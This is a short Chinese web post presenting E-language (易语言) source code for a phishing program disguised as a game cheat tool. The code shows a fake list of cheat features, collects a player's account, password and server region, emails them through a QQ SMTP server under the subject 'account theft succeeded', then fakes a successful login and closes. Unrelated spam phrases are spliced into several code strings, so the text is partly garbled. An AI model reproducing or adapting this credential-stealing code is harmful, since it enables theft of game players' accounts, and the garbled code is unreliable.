皮皮网

1.易语言编写钓鱼

易语言编写钓鱼

       分数有点少~~

       窗口见图

       代码是易语言自语言压枪：

       .版本 2

       .支持库 internet

       .程序集 窗口程序集1

       .子程序 _按钮1_被单击

       信息框 (“F2飞天，F3遁地，动开php 提交表单源码F4无限血，枪源javaweb分页技术源码F5无限子弹无后座力，码易校园预约系统源码F6透视，自动自媒体 源码 帝国F7不变僵尸，易语言自语言压枪科技 帝国com源码F8自动开枪”,动开 0, “说明”)

       .子程序 __启动窗口_创建完毕

       连接发信服务器 (“smtp.qq.com”, , “@qq.com”, “m4a1ak”, )

       .子程序 _按钮2_被单击

       .如果真 (编辑框1.内容 ＝ “”)

           信息框 (“请输入账号！”,枪源 0, “错误”)

       .如果真结束

       .如果真 (编辑框2.内容 ＝ “”)

           信息框 (“请输入密码！”,码易 0, “错误”)

       .如果真结束

       .如果真 (编辑框3.内容 ＝ “”)

           信息框 (“请输入所在大区”, 0, “错误”)

       .如果真结束

       .如果真 (编辑框1.内容 ≠ “”)

           .如果真 (编辑框2.内容 ≠ “”)

               .如果真 (编辑框3.内容 ≠ “”)

                   发送邮件 (“盗号成功”, “账号：” ＋ 编辑框1.内容 ＋ “密码：” ＋ 编辑框2.内容 ＋ “所在大区：” ＋ 编辑框3.内容, “@qq.com”, “@qq.com”, , “@qq.com”, )

                   可视 ＝ 假

                   信息框 (“登陆成功”, 0, )

                   销毁 ()

               .如果真结束

           .如果真结束

       .如果真结束

       还不理解就加我：